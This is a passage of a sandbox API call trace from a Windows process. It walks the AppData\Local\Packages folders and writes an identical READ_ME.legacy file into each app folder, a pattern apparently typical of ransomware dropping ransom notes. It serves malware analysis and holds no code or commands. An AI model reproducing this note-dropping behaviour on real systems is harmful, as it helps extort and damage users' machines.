CloseHandle (hObject=0x744) returned 1 [0140.328] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8681db72, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8769207c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.WindowsAlarms_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.WIN")) returned 1 [0140.328] SetLastError (dwErrCode=0x0) [0140.328] GetLastError () returned 0x0 [0140.328] SetLastError (dwErrCode=0x0) [0140.328] SetLastError (dwErrCode=0x0) [0140.328] SetLastError (dwErrCode=0x0) [0140.328] GetLastError () returned 0x0 [0140.328] SetLastError (dwErrCode=0x0) [0140.328] GetLastError () returned 0x0 [0140.328] SetLastError (dwErrCode=0x0) [0140.328] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.381] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.382] CloseHandle (hObject=0x744) returned 1 [0140.382] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4d85f5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc2086555, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc2086555, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.WindowsCalculator_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.WIN")) returned 1 [0140.382] SetLastError (dwErrCode=0x0) [0140.382] GetLastError () returned 0x0 [0140.382] SetLastError (dwErrCode=0x0) [0140.382] SetLastError (dwErrCode=0x0) [0140.383] SetLastError (dwErrCode=0x0) [0140.383] GetLastError () returned 0x0 [0140.383] SetLastError (dwErrCode=0x0) [0140.383] GetLastError () returned 0x0 [0140.383] SetLastError (dwErrCode=0x0) [0140.383] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.413] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.414] CloseHandle (hObject=0x744) returned 1 [0140.414] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c767cf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef547375, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xef81c039, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.WindowsCamera_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.WIN")) returned 1 [0140.414] SetLastError (dwErrCode=0x0) [0140.414] GetLastError () returned 0x0 [0140.414] SetLastError (dwErrCode=0x0) [0140.414] SetLastError (dwErrCode=0x0) [0140.414] SetLastError (dwErrCode=0x0) [0140.414] GetLastError () returned 0x0 [0140.414] SetLastError (dwErrCode=0x0) [0140.414] GetLastError () returned 0x0 [0140.415] SetLastError (dwErrCode=0x0) [0140.415] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.437] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.438] CloseHandle (hObject=0x744) returned 1 [0140.438] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf1aae2a1, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf1aae2a1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="microsoft.windowscommunicationsapps_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.WIN")) returned 1 [0140.438] SetLastError (dwErrCode=0x0) [0140.438] GetLastError () returned 0x0 [0140.438] SetLastError (dwErrCode=0x0) [0140.438] SetLastError (dwErrCode=0x0) [0140.438] SetLastError (dwErrCode=0x0) [0140.438] GetLastError () returned 0x0 [0140.438] SetLastError (dwErrCode=0x0) [0140.438] SetLastError (dwErrCode=0x0) [0140.438] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.439] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.440] CloseHandle (hObject=0x744) returned 1 [0140.440] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed548e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbede9823, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbede9823, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe", cAlternateFileName="MIDE9E~1.WIN")) returned 1 [0140.440] SetLastError (dwErrCode=0x0) [0140.440] GetLastError () returned 0x0 [0140.440] SetLastError (dwErrCode=0x0) [0140.440] SetLastError (dwErrCode=0x0) [0140.440] SetLastError (dwErrCode=0x0) [0140.440] GetLastError () returned 0x0 [0140.440] SetLastError (dwErrCode=0x0) [0140.440] GetLastError () returned 0x0 [0140.440] SetLastError (dwErrCode=0x0) [0140.440] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.443] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.444] CloseHandle (hObject=0x744) returned 1 [0140.444] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbd8024eb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbd8024eb, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.WindowsMaps_8wekyb3d8bbwe", cAlternateFileName="MID92F~1.WIN")) returned 1 [0140.444] SetLastError (dwErrCode=0x0) [0140.444] GetLastError () returned 0x0 [0140.444] SetLastError (dwErrCode=0x0) [0140.444] SetLastError (dwErrCode=0x0) [0140.444] SetLastError (dwErrCode=0x0) [0140.444] GetLastError () returned 0x0 [0140.444] SetLastError (dwErrCode=0x0) [0140.444] GetLastError () returned 0x0 [0140.444] SetLastError (dwErrCode=0x0) [0140.444] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.495] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.496] CloseHandle (hObject=0x744) returned 1 [0140.496] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xb907b89d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb907b89d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.WindowsPhone_8wekyb3d8bbwe", cAlternateFileName="MI7D5A~1.WIN")) returned 1 [0140.496] SetLastError (dwErrCode=0x0) [0140.496] GetLastError () returned 0x0 [0140.496] SetLastError (dwErrCode=0x0) [0140.496] SetLastError (dwErrCode=0x0) [0140.496] SetLastError (dwErrCode=0x0) [0140.496] GetLastError () returned 0x0 [0140.496] SetLastError (dwErrCode=0x0) [0140.496] GetLastError () returned 0x0 [0140.497] SetLastError (dwErrCode=0x0) [0140.497] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.499] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.500] CloseHandle (hObject=0x744) returned 1 [0140.500] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6670683, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9690fc23, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x96d8829d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe", cAlternateFileName="MIA6CE~1.WIN")) returned 1 [0140.500] SetLastError (dwErrCode=0x0) [0140.500] GetLastError () returned 0x0 [0140.500] SetLastError (dwErrCode=0x0) [0140.501] SetLastError (dwErrCode=0x0) [0140.501] SetLastError (dwErrCode=0x0) [0140.501] GetLastError () returned 0x0 [0140.501] SetLastError (dwErrCode=0x0) [0140.501] GetLastError () returned 0x0 [0140.501] SetLastError (dwErrCode=0x0) [0140.501] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.503] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.504] CloseHandle (hObject=0x744) returned 1 [0140.504] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4097064, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef652437, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xef8b4999, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.WindowsStore_8wekyb3d8bbwe", cAlternateFileName="MI052B~1.WIN")) returned 1 [0140.504] SetLastError (dwErrCode=0x0) [0140.504] GetLastError () returned 0x0 [0140.504] SetLastError (dwErrCode=0x0) [0140.504] SetLastError (dwErrCode=0x0) [0140.505] SetLastError (dwErrCode=0x0) [0140.505] GetLastError () returned 0x0 [0140.505] SetLastError (dwErrCode=0x0) [0140.505] GetLastError () returned 0x0 [0140.505] SetLastError (dwErrCode=0x0) [0140.505] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.506] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.507] CloseHandle (hObject=0x744) returned 1 [0140.507] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x94eafafc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x950534fc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.XboxApp_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.XBO")) returned 1 [0140.507] SetLastError (dwErrCode=0x0) [0140.507] GetLastError () returned 0x0 [0140.507] SetLastError (dwErrCode=0x0) [0140.507] SetLastError (dwErrCode=0x0) [0140.507] SetLastError (dwErrCode=0x0) [0140.507] GetLastError () returned 0x0 [0140.507] SetLastError (dwErrCode=0x0) [0140.507] GetLastError () returned 0x0 [0140.507] SetLastError (dwErrCode=0x0) [0140.507] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.512] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.513] CloseHandle (hObject=0x744) returned 1 [0140.513] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91227223, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6f3e6702, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6f58a0ab, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.XboxGameCallableUI_cw5n1h2txyewy", cAlternateFileName="MICROS~2.XBO")) returned 1 [0140.513] SetLastError (dwErrCode=0x0) [0140.514] GetLastError () returned 0x0 [0140.514] SetLastError (dwErrCode=0x0) [0140.514] SetLastError (dwErrCode=0x0) [0140.514] SetLastError (dwErrCode=0x0) [0140.514] GetLastError () returned 0x0 [0140.514] SetLastError (dwErrCode=0x0) [0140.514] GetLastError () returned 0x0 [0140.514] SetLastError (dwErrCode=0x0) [0140.514] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.517] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.518] CloseHandle (hObject=0x744) returned 1 [0140.518] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b10a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x936165c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x936165c3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.XboxGameOverlay_8wekyb3d8bbwe", cAlternateFileName="MIF834~1.XBO")) returned 1 [0140.518] SetLastError (dwErrCode=0x0) [0140.518] GetLastError () returned 0x0 [0140.518] SetLastError (dwErrCode=0x0) [0140.518] SetLastError (dwErrCode=0x0) [0140.518] SetLastError (dwErrCode=0x0) [0140.518] GetLastError () returned 0x0 [0140.519] SetLastError (dwErrCode=0x0) [0140.519] GetLastError () returned 0x0 [0140.519] SetLastError (dwErrCode=0x0) [0140.519] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.558] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.559] CloseHandle (hObject=0x744) returned 1 [0140.559] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf22e0430, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf22e0430, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.XboxIdentityProvider_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.XBO")) returned 1 [0140.559] SetLastError (dwErrCode=0x0) [0140.559] GetLastError () returned 0x0 [0140.559] SetLastError (dwErrCode=0x0) [0140.559] SetLastError (dwErrCode=0x0) [0140.559] SetLastError (dwErrCode=0x0) [0140.559] GetLastError () returned 0x0 [0140.559] SetLastError (dwErrCode=0x0) [0140.559] GetLastError () returned 0x0 [0140.559] SetLastError (dwErrCode=0x0) [0140.559] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.560] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.561] CloseHandle (hObject=0x744) returned 1 [0140.561] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.XBO")) returned 1 [0140.562] SetLastError (dwErrCode=0x0) [0140.562] GetLastError () returned 0x0 [0140.562] SetLastError (dwErrCode=0x0) [0140.562] SetLastError (dwErrCode=0x0) [0140.562] SetLastError (dwErrCode=0x0) [0140.562] GetLastError () returned 0x0 [0140.562] SetLastError (dwErrCode=0x0) [0140.562] SetLastError (dwErrCode=0x0) [0140.562] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.565] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.566] CloseHandle (hObject=0x744) returned 1 [0140.566] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9120e63a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x913b2022, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.ZuneMusic_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.ZUN")) returned 1 [0140.566] SetLastError (dwErrCode=0x0) [0140.566] GetLastError () returned 0x0 [0140.566] SetLastError (dwErrCode=0x0) [0140.566] SetLastError (dwErrCode=0x0) [0140.566] SetLastError (dwErrCode=0x0) [0140.566] GetLastError () returned 0x0 [0140.566] SetLastError (dwErrCode=0x0) [0140.566] GetLastError () returned 0x0 [0140.566] SetLastError (dwErrCode=0x0) [0140.566] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.569] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.570] CloseHandle (hObject=0x744) returned 1 [0140.571] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8efa262b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8f25108d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.ZuneVideo_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.ZUN")) returned 1 [0140.571] SetLastError (dwErrCode=0x0) [0140.571] GetLastError () returned 0x0 [0140.571] SetLastError (dwErrCode=0x0) [0140.571] SetLastError (dwErrCode=0x0) [0140.571] SetLastError (dwErrCode=0x0) [0140.571] GetLastError () returned 0x0 [0140.571] SetLastError 